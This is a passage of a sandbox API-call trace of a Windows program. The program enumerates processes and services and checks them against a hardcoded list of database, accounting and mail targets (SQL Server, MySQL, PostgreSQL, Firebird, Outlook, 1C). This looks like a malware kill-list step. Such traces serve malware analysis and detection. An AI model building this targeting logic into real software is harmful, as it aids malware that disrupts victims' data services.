	[0258.038] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.038] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.038] lstrlenW (lpString="svchost.exe") returned 11
	[0258.038] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.038] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.038] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0258.038] lstrlenW (lpString="audiodg.exe") returned 11
	[0258.039] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.039] lstrlenW (lpString="svchost.exe") returned 11
	[0258.039] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0258.039] lstrlenW (lpString="userinit.exe") returned 12
	[0258.039] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0258.039] lstrlenW (lpString="explorer.exe") returned 12
	[0258.039] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0258.040] lstrlenW (lpString="dwm.exe") returned 7
	[0258.040] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.040] lstrlenW (lpString="svchost.exe") returned 11
	[0258.040] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0258.040] lstrlenW (lpString="swpesp.exe") returned 10
	[0258.040] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0258.041] lstrlenW (lpString="spoolsv.exe") returned 11
	[0258.041] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0258.041] lstrlenW (lpString="dllhost.exe") returned 11
	[0258.041] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0258.041] lstrlenW (lpString="taskhost.exe") returned 12
	[0258.041] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.041] lstrlenW (lpString="svchost.exe") returned 11
	[0258.041] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0258.042] lstrlenW (lpString="reader_sl.exe") returned 13
	[0258.042] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0258.042] CloseHandle (hObject=0x28c) returned 1
	[0258.042] Sleep (dwMilliseconds=0x1f4) 
	[0258.650] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c5ac0
	[0258.664] EnumServicesStatusExW (in: hSCManager=0x41c5ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0258.664] GetLastError () returned 0xea
	[0258.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0258.665] EnumServicesStatusExW (in: hSCManager=0x41c5ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0258.665] CloseServiceHandle (hSCObject=0x41c5ac0) returned 1
	[0258.666] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0258.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0258.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0258.666] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0258.666] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0258.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0258.666] lstrlenW (lpString="AudioSrv") returned 8
	[0258.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0258.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0258.666] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0258.666] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0258.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0258.666] lstrlenW (lpString="BFE") returned 3
	[0258.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0258.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0258.667] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0258.667] lstrlenW (lpString="CryptSvc") returned 8
	[0258.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0258.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0258.667] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0258.667] lstrlenW (lpString="CscService") returned 10
	[0258.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0258.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0258.667] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0258.667] lstrlenW (lpString="DcomLaunch") returned 10
	[0258.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0258.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0258.667] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0258.667] lstrlenW (lpString="Dhcp") returned 4
	[0258.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0258.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0258.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0258.667] lstrlenW (lpString="Dnscache") returned 8
	[0258.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0258.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0258.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0258.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0258.668] lstrlenW (lpString="DPS") returned 3
	[0258.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0258.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0258.668] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0258.668] lstrlenW (lpString="eventlog") returned 8
	[0258.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0258.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0258.668] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0258.668] lstrlenW (lpString="EventSystem") returned 11
	[0258.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0258.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0258.668] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0258.668] lstrlenW (lpString="gpsvc") returned 5
	[0258.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0258.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0258.668] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0258.668] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0258.668] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0258.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0258.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0258.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0258.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0258.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0258.668] lstrlenW (lpString="lmhosts") returned 7
	[0258.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0258.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0258.669] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0258.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0258.669] lstrlenW (lpString="MMCSS") returned 5
	[0258.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0258.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0258.669] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0258.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0258.669] lstrlenW (lpString="MpsSvc") returned 6
	[0258.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0258.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0258.669] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0258.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0258.669] lstrlenW (lpString="NlaSvc") returned 6
	[0258.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0258.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0258.669] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0258.669] lstrlenW (lpString="nsi") returned 3
	[0258.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0258.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0258.669] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0258.669] lstrlenW (lpString="PcaSvc") returned 6
	[0258.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0258.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0258.669] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0258.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0258.670] lstrlenW (lpString="PlugPlay") returned 8
	[0258.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0258.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0258.670] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0258.670] lstrlenW (lpString="Power") returned 5
	[0258.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0258.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0258.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0258.670] lstrlenW (lpString="ProfSvc") returned 7
	[0258.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0258.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0258.670] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0258.670] lstrlenW (lpString="RpcEptMapper") returned 12
	[0258.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0258.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0258.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0258.670] lstrlenW (lpString="RpcSs") returned 5
	[0258.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0258.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0258.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0258.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0258.670] lstrlenW (lpString="SamSs") returned 5
	[0258.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0258.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0258.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0258.671] lstrlenW (lpString="Schedule") returned 8
	[0258.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0258.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0258.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0258.671] lstrlenW (lpString="SENS") returned 4
	[0258.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0258.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0258.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0258.671] lstrlenW (lpString="ShellHWDetection") returned 16
	[0258.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0258.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0258.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0258.671] lstrlenW (lpString="Spooler") returned 7
	[0258.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0258.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0258.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0258.671] lstrlenW (lpString="Themes") returned 6
	[0258.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0258.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0258.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0258.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0258.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0258.672] lstrlenW (lpString="UxSms") returned 5
	[0258.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0258.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0258.672] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0258.672] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0258.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0258.672] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0258.672] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c
	[0258.673] Process32FirstW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0258.673] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0258.674] lstrlenW (lpString="System") returned 6
	[0258.674] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0258.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0258.674] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0258.674] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0258.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0258.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0258.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0258.674] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0258.674] lstrlenW (lpString="smss.exe") returned 8
	[0258.674] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0258.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0258.674] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0258.674] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0258.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0258.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0258.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0258.674] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.675] lstrlenW (lpString="csrss.exe") returned 9
	[0258.675] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0258.675] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0258.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0258.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0258.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0258.675] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0258.675] lstrlenW (lpString="wininit.exe") returned 11
	[0258.675] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0258.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0258.675] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.676] lstrlenW (lpString="csrss.exe") returned 9
	[0258.676] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0258.676] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0258.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
